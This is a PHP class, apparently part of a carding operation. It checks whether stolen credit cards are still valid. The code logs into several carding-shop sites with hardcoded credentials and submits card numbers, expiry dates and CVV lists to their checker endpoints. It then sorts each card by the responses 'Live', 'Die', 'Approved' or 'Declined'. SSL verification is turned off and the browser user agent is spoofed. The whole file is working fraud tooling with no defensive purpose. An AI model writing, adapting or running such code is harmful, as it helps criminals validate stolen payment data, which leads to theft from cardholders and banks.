<?php
class checkcc
{
	public static function get_checker($checkerId)
	{
		$getChecker=database::LimitQuery("checker",array(
		'select' => 'checker_class',
		'condition' => array(
		'id' => $checkerId
		)
		));
		if(!empty($getChecker))
		{
			return $getChecker[0]['checker_class'];
		}
		else
		{
			return 0; // can not find checker
		}
	}
	public static function toolbc($soure)
	{
	$timeout=200;
	$ch = curl_init(); 
	curl_setopt($ch, CURLOPT_URL, "http://ug-market.com/ugm/xlogin.php?xsale=hungnguyen"); 
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3"); 
		//curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
	curl_setopt($ch, CURLOPT_REFERER, "http://ug-market.com/ugm/login.php");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
	$result1 = curl_exec($ch);
	curl_close($ch);
	
	$submit=">> Login <<";
	$post="username=hungnguyen&password=123456&submit=$submit";
	$url3="http://ug-market.com/ugm/xlogin.php?xsale=hungnguyen";
	$ch = curl_init(); 
	curl_setopt($ch, CURLOPT_URL, $url3); 
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3"); 
	curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
	curl_setopt($ch, CURLOPT_REFERER, "http://ug-market.com/ugm/xlogin.php?xsale=hungnguyen");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
	$result1 = curl_exec($ch);
	curl_close($ch);
//echo $result1;


	$url4="http://ug-market.com/ugm/checkcvv.php";
	$post="cvvlist=$soure&date=1&type=1&submit=Check Now!";
	//$post="cclist=$soure&date=1&type=1&submit=Check Now!";
	$ch = curl_init(); 
	curl_setopt($ch, CURLOPT_URL, $url4); 
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
	curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
	curl_setopt($ch, CURLOPT_REFERER, "http://ug-market.com/ugm/checkcvv.php");
	//curl_setopt($ch, CURLOPT_REFERER, "http://ug-market.com/ugm/checkccn.php");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
	$result4 = curl_exec($ch);
	curl_close($ch);
//echo $result4;

if(stristr($result4,'<font color=red><b>Live</b></font></td>')==true)
{
//	echo "live";
	return 1; // live
	
}
else if(stristr($result4,'<font color=blue><b>Die</b></font></td>')==true)
{

	return 0; // die

}
else
{
	//echo "k live k die";
	return 2; //
}


}
public static function checkCodeLtd($ccnum,$ex)
{
	$url="http://ltdcc.ru/?s=cccheck";
	$post="cc=$ccnum&exp=$ex&submit=Check";
	$login=ltdcc::loginltd();
	$timeout="200";
	$ch = curl_init(); 
	curl_setopt($ch, CURLOPT_URL, $url); 
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
	curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
	$result = curl_exec($ch);
	curl_close($ch);
	if(stristr($result,"Declined")==true)
	{
		return 0; //
	}
	else if(stristr($result,"Approved")==true)
	{
		return 1; //
	}
	else
	{
		return 2; // erro
	}
}
	public static function checkElectronic($soure)
	{
		$user="";
		$pwd="";
		$gate="ccv37";
		$timeout="300";
		$url="http://electronicpromo.net/services.php";
		$data= "username=".$user."&password=".$pwd."&paygate=".$gate."&cc=".$soure;
		$ch = curl_init(); 
		curl_setopt($ch, CURLOPT_URL, $url); 
		curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
		curl_setopt($ch, CURLOPT_POSTFIELDS,$data);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
		curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); 
		curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
		$result = curl_exec($ch);
		curl_close($ch);
		if(stristr($result,"DIE")==true)
		{
			return 0; //
		}
		else if(stristr($result,"LIVE")==true)
		{
			return 1; //
		}
		else
		{
			return 2; // erro
		}
	}
	public static function ugsrv($soure)
	{
		$soure=$soure."|28713";
		$url="http://lxlimited.com/wallet/index.php";
		$data="cclist=$soure&submit=CHECK NOW";
		$a=rand(100,50000);
		$cookies="plan/cookiesx/$a.txt";
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
		curl_setopt($ch, CURLOPT_POSTFIELDS,$data);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
		curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
		curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		$result = curl_exec($ch);
		curl_close($ch);
		$die='<font color=red>Die </font>(1/1)';
		$live='<font color=blue>Live </font>(1/1)';
		if(stristr($result,$die)==TRUE)
		{
			return 0; // die
		}
		else if(stristr($result,$live)==TRUE)
		{
			return 1;
		}
		else
		{
			return 2; // can not check
		}
	}
	public static function checkCcLtd($ccnum)
	{
		$a=rand(1000,100000);
		$cookies="plan/cookiesx/".$a."cookies.txt";
		ltdcc::loginltd($cookies);
		$urlcheck="http://ltdcc.ru/?s=my";
		$Check=ltdcc::loadurl($urlcheck, "0",$cookies);
		$start='<td id="'.$ccnum.'">';
		$end="</td>";
		$ArrCcCheck=ltdcc::GetContents($Check, $start, $end);
		if(stristr($ArrCcCheck, "Approved")==TRUE)
		{
			return 1; // live
		}
		else if(stristr($ArrCcCheck, "Declined")==TRUE)
		{
			return 0; // die
		}
		else
		{
			return 2;
		}
	}
	public static function checkCcCardCf($ccnum)
	{		
		$a=rand(1000,100000);
		$cookies="plan/cookiesx/".$a."cookies.txt";
		cardcafe::loginCardCafe($cookies);
		$urlcheck="http://cardrockcafe.biz/?s=my";
		$Check=cardcafe::loadurl($urlcheck, "0",$cookies);
		$start='<td id="'.$ccnum.'">';
		$end="</td>";
		$ArrCcCheck=cardcafe::GetContents($Check, $start, $end);
		if(stristr($ArrCcCheck, "[ok]")==TRUE)
		{
			return 1; // live
		}
		else if(stristr($ArrCcCheck, "[bad]")==TRUE)
		{
			return 0; // die
		}
		else
		{
			return 2;
		}
	}
	public static function startCheckCc($class,$soure)
	{
		switch ($class)
		{
			case "electronic": 
				$checkcc=self::checkElectronic($soure);
				return $checkcc;
				break;
			case "wallet":
				$checkcc=self::ugsrv($soure);
				return $checkcc;
				break;
			case "ltd":
				$arrSoureCc=explode("|",$soure);
				$ccnum=$arrSoureCc[0];
				$checkcc=self::checkCcLtd($ccnum);
				return $checkcc;
				break;
			case "cardcf":
				$arrSoureCc=explode("|",$soure);
				$ccnum=$arrSoureCc[0];
				$checkcc=self::checkCcCardCf($ccnum);
				return $checkcc;
				break;
		}
	}
}
?>